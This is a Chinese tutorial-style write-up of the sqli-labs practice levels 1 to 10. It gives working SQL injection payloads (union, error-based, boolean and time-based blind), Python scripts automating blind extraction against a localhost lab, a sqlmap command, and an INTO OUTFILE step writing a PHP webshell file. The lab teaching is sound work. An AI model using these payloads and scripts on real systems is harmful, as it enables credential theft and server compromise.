【安全】sql注入,sqli-labs(1-10)

sql注入

前置知识

MYSQL在5.0版本后会多出一张系统数据库(information_schema),里面记录了所有其他数据库的元数据。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

联合注入

使用 UNION 时,所有 SELECT 查询中返回的列数必须相同,即前后两个select返回的列数必须相同,否则无法拼接。所以必须知道当前表的列数。

使用order by可以判断表中的字段数。order by+数字表示查询结果按照表中第几个字段重新排序。利用这一特性,可以查询表中的字段数;如果order by 1-3均无错而order by 4错误,那么该表有3个字段。

less-1

原sql语句为

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id被单引号包裹,所以要闭合单引号

查询当前表有多少列

?id=1' order by 3--+
?id=1' order by 4--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

由此可知当前表共有3列

然后判断回显位,即能够注入出数据的地方

?id=-1' union select 1,2,3--+

id=-1是因为有时网页只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,才能让后面的第二个select语句回显出数据。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

2和3是回显位,注入语句可以在2或3的位置

然后查询当前数据库

?id=-1' union select 1,database(),3--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当前数据库名为security

然后查询当前数据库有哪些表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

group_concat()函数作用是将多条数据合并显示为一条。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查询security数据库下的列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

有username和password字段

查询password字段属于那个表

?id=-1' union select 1,table_name,3 from information_schema.columns where table_schema='security' and column_name='password'--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查询username和password

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也可以使用limit来截取显示

limit <截取开始位置>,<截取几位>

?id=-1' union select 1,username,password from users limit 2,1--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

less-2

第一关是字符型注入,第二关是数字型注入

数据库查询语句为

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

参数id没有被包裹,直接注入即可,语句只需要将第一关中的?id=-1'部分改为?id=-1即可

最终结果为

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

less-3

')闭合

?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

less-4

")闭合

?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

报错注入

没有回显位,用不了联合注入;有报错信息显示,尝试报错注入,报错注入即通过特殊函数的错误使用,使其参数被页面输出

updatexml()函数:

UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称; 第二个参数:XPath_string (Xpath格式的字符串); 第三个参数:new_value,String格式,替换查找到的符合条件的数据;

该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果;
在xpath语法中, “~” 是非法字符,所以可以用 “~” 构造报错,0x7e是“ ~ ”的十六进制;
函数查询出的结果显示长度限制为32位,如果超出显示长度需要使用substr()或者limit来分割输出,分多次输出;

less-5

id=1和id=1"时页面只有You are in…,id=1’时页面报错,所以使用'闭合

查询列数

使用联合查询确定回显位,发现页面仍显示You are in…,联合查询无法使用,但会显示报错信息,尝试报错注入

查询当前数据库名

?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

concat()函数为字符串连接函数,0x7e显然不符合规则,但是会将括号内的执行结果以错误的形式报出;

查询表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查询users表中字段名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查询用户名和密码

?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(username) from security.users),1,32),0x7e),1)--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

修改substr函数的参数就可以分多次截取完数据

less-6

这一关也为报错注入,只不过单引号变成了双引号闭合

?id=-1" and updatexml(1,concat(0x7e,substr((select group_concat(username) from security.users),1,32),0x7e),1)--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

less-7

?id=-1')) and updatexml(1,concat(0x7e,substr((select group_concat(username) from security.users),1,32),0x7e),1)--+

可以报错注入外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

根据提示You are in… Use outfile…,mysql上传webshell

要想写入必须满足三个条件

1.mysq1用户权限必须为root
2.知道网站的物理路径(例如D:\phpstudy_pro\WWW\sqli-labs\Less-7)
3.secure_file_priv参数的值必须什么都不写或者是写着网站路径,一般在配置文件中my.cnf或my.ini

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/webshell.php"--+

布尔盲注

页面没有回显位,不显示报错信息,但结果为假时显示的页面会变化,即页面显示有一真一假两种情况

less-8

?id=1' and ascii(substr(database(),1,1))>114--+

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可知数据库名的第一个字母ascill码大于114,当改为115之后,页面显示变化,即第一个字母的ascii码为115即字母s

注入

import time

import requests

url = 'http://127.0.0.1/sqli-labs/Less-8/index.php'


##布尔盲注
#####################################################暴力破解数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         for j in range(32, 129):
#             payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
#             res = {"id": payload}
#             r = requests.get(url, params=res)
#             if "You are in..........." in r.text:
#                 name = name + chr(j)
#                 print(name)
#                 break
#             else:
#                 continue
#
# inject_database(url)


#####################################################二分法查表名
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low, high = 32, 128
        while low < high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), {i}, 1)) > {mid}-- "
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
        name += chr(low)
        print(name)
    return name

inject_database(url)

使用sqlmap工具

python sqlmap/sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id=1 -dbs

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最终可以得到结果

时间盲注

页面不论输入什么都只有一种状态,可以使用时间盲注

less-9

?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),0)--+

if中条件为真时sleep(3),通过时间来判断

注入

import time

import requests

url = 'http://127.0.0.1/sqli-labs/Less-9/index.php'

##时间盲注
#####################################################二分法查表名
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

less-10

"闭合,其余内容和第9关相同

  • 18
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值